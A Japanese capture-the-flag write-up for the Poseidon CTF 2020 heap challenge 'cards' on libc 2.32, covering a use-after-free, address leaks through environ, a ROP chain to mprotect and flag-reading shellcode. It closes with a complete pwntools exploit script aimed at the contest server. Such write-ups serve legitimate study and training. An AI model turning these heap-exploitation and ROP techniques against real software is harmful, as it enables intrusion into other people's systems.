ROP to mprotect / re-allocated structure / UAF / environ to leak stack / libc2.32
- 1: イントロ
- 2. 問題概要
- 3. Vulns - heapbaseのleakまで
- 4: AAW/AAR
- 5: libcbase leak
- 6: StackAddr leak
- 7: ROP to mprotect
- 8: shellcode to open/read flag
- 9: exploit
- 10: アウトロ
1: イントロ
いつぞや行われた Poseidon CTF 2020
libc2.32問があったのでそれだけ解いた = pwn問 card
結局あまり関係なかった
猫も可愛いけどやっぱり犬が可愛いですよね
どっちになりたいかって言われたら猫ですけど、どっちが可愛いかって言われたら犬です
どっちがよりカイワレ大根かって言われたらカーテンですけど、どっちがアバンギャルドかって言われたらモスバーガーです
2. 問題概要
libc2.32 + セキュリティ機構FULL + stripped
$ file ./cards ./cards: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4bd480bc1c4df9d0b3d2bdd5287c1ea4b95aa794, stripped Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
以下に示すseccompがあり、且つprctl(PR_NO_NEW_PRIV)がセットされていた
0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0006 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0006: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0016 0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0016: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0018 0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0018: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x06 0x00 0x00 0x00000000 return KILL
カードの add edit free view ができる
なんか隠しコマンド 6 があったが使わなかった
3. Vulns - heapbaseのleakまで
・edit時にfreeしたかどうかのチェックがないためUAF(write) (view/freeはフラグをチェックするため不可)
・freeするときの順番が逆
・NULL終端がない
・バッファ(chunk)を初期化していない
・消去したノートのアドレスをNULLクリアしていない
・editにおいて note 構造体のサイズ情報ではなく他で保存した情報を用いている(note構造体中のsizeを変えられればoverflow)
・実際に確保したノート数+1に対して free/edit/view ができる
結局使ったのは1つ目と2つ目と3つ目と4つ目と5つ目の脆弱性のみ
まず、登場するchunkには3種類あって、ノートの情報を保持する構造体noteと、ノートに格納する名前に関する構造体target_noteと、実際に名前を格納するnameがある。この内noteはtarget_noteへのポインタを、target_noteはnameへのポインタを保持している。mallocの際にはこの順に確保される。
だがfree時にもこの順番でfreeしてしまっている。これはnoteをfreeした後でnote->target_noteをdereferenceすることになり十分脆弱性であると言える(今回はこの事実は使用していないが)。この順番でfreeをした後再びmallocをすると、かつてnoteだったchunkはnameになり、逆も然りである。よって、nameを読むことでかつてnoteとして保持していたtarget_noteへのポインタをleakすることができる。
4: AAW/AAR
上述した嘗てnoteであったnameチャンクをUAFで用いることで、target_noteポインタをleakするだけでなく上書きしてAAWに使うこともできる。この際、editにはnote構造体内の特定のフラグが立っている必要があるため忘れずに非ゼロでoverwriteしておく。
view自体は他のflagによって管理しているため、それだけではUAFのreadはできない。だが、AAWを持っている今、他のnoteのtarget_noteポインタを書き換えてやることで未だfreeされていないnoteからAARを達成できる。
5: libcbase leak
AAW+AARができるため、適当にsizeを書き換えてfreeを行いunsortedを生成してlibcbaseをleakする
6: StackAddr leak
AAW+AAR+libcbase leakedの状態のため、environを読んでstackaddrをleakする
7: ROP to mprotect
editによってedit()関数のreturn addrを書き換え、ROPに持ち込む。このROPの大きさは0xFFに限られているため、一度heapをmprotectでRWXにしてシェルコードを置くことにする。
8: shellcode to open/read flag
はい
9: exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./cards" LIBCNAME = "./libc-2.32.so" hosts = ("poseidonchalls.westeurope.cloudapp.azure.com","localhost","localhost") ports = (9004,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(idx): c.recvuntil("Choice: ") c.sendline(str(idx)) def _add(size, color, name): if len(color) > 7: raw_input("[-] color size too long: "+hex(len(color))) exit() hoge(1) c.recvuntil("card: ") c.send(str(size)) c.recvuntil("color: ") c.send(color) c.recvuntil("name: ") c.send(name) def _remove(idx): hoge(2) c.recvuntil("card: ") c.sendline(str(idx)) def _edit(idx, name): hoge(3) c.recvuntil("card: ") c.send(str(idx)) c.recvuntil("name: ") c.send(name) def _view(idx): hoge(4) c.recvuntil("card: ") c.sendline(str(idx)) # 謎の隠しコマンド def _secret(name): hoge(6) c.recvuntil("name: ") c.send(name) # house of io ? def decrypt(Pd): L = Pd >> 36 for i in range(3): temp = (Pd >> (36-(i+1)*8)) & 0xff element = ((L>>4) ^ temp) & 0xff L = (L<<8) + element print("L : "+hex(L)) ## exploit ########################################### def exploit(): global c flag_path = "/home/challenge/flag\x00" shellcode = b"" shellcode += asm("mov rdi, 0x0000000067616c66") # /home/challenge/flag shellcode += asm("push rdi") shellcode += asm("mov rdi, 0x2f65676e656c6c61") shellcode += asm("push rdi") shellcode += asm("mov rdi, 0x68632f656d6f682f") shellcode += asm("push rdi") shellcode += asm("mov rdi, rsp") shellcode += asm("mov rax, 2") shellcode += asm("mov rdx, 0") shellcode += asm("mov rsi, 0") shellcode += asm("syscall") shellcode += asm("mov rdi, rax") shellcode += asm("mov rcx, rsp") # バッファ shellcode += asm("mov rsi, rcx") shellcode += asm("mov rdx, 0x80") shellcode += asm("mov rax, 0") shellcode += asm("syscall") shellcode += asm("mov rdi, 1") shellcode += asm("mov rsi, rsp") shellcode += asm("mov rdx, 0x80") shellcode += asm("mov rax, 1") shellcode += asm("syscall") print("shellcode len: "+hex(len(shellcode))) _add(0x20, "red", "A"*0x10) # 0x20である必要(struct noteと同じ) _remove(0) # leak heapbase _add(0x20, "A", "A"*0x10) _view(1) c.recvuntil("A"*0x10) leaked01 = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00')) print("[+] leaked: "+hex(leaked01)) heapbase = leaked01 - 0x40 print("[+] heapbase: "+hex(heapbase)) # overwrite 0's flag _edit(1, p64(0xdeadbeefcafebabe)*3 + p64(1)) _add(0xf8, "B"*0x4, flag_path) # 2 _add(0xf8, "D"*0x4, "/bin/sh\x00") # 3 _add(0xf8, "F"*0x4, flag_path) # 4 _add(0xf8, "H"*0x4, p64(0x31)*(0xf8/8)) # 5 こいつがつじつま合わせに必要 0x450のfake chunkのnext _add(0xf8, "J"*0x4, shellcode) # 6 _edit(1, p64(heapbase + 0xf0 + 8) + p64(0xdeadbeefcafebabe) + p64(heapbase)) # これでnote->target==heapbaseとなり、note->target->name==目標のchunkになる _edit(0, p64(0x451)) # fake size of name of 2(maybe) _remove(2) # fake size == 0x451 unsorted生成 # libcbase leak _add(0x60, "X", "Y") #7 _view(7) c.recvuntil("Y") leaked02 = (unpack(c.recvuntil(".")[:-1].ljust(8,'\x00'))) * 0x100 - 0x400 print("[+] leaked: "+hex(leaked02)) libcbase = leaked02 - 0x3b6c00 print("[+] libcbase: "+hex(libcbase)) free_hook = libcbase + 0x3b8e80 system = libcbase + 0x43930 print("[+] free_hook: "+hex(free_hook)) # note4のname_ptrをenvironへ: stack leak _edit(1, p64(heapbase + 0x3a0) + p64(0xdeadbeefcafebabe) + p64(heapbase)) _edit(0,p64(libcbase + libc.symbols["environ"])) _view(4) c.recvuntil("name: ") environ = unpack(c.recvuntil(".")[:-1].ljust(8,'\x00')) print("[+] environ: "+hex(environ)) stack_ra = environ - 0x100 print("[+] RA addr of main stack: "+hex(stack_ra)) # EDITのstackのRA書き換え _edit(1, p64(heapbase + 0x680 - 0x20) + p64(0xdeadbeefcafebabe) + p64(heapbase)) _edit(0, p64(stack_ra - 0x78 + 8)) pop_rdi = 0x0002201c pop_rsi = 0x0002c626 pop_rdx = 0x00001b9e shell_mem = heapbase + 0x680 # note6 protected_mem = heapbase & 0xfffffffffffff000 rop = b"" rop += p64(libcbase + pop_rdi) rop += p64(protected_mem) rop += p64(libcbase + pop_rsi) rop += p64(0x3000) rop += p64(libcbase + pop_rdx) rop += p64(0x7) rop += p64(libcbase + libc.symbols["mprotect"]) rop += p64(shell_mem) _edit(6, rop) return ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
10: アウトロ
歳を取りたくなさすぎて泣いています
続く...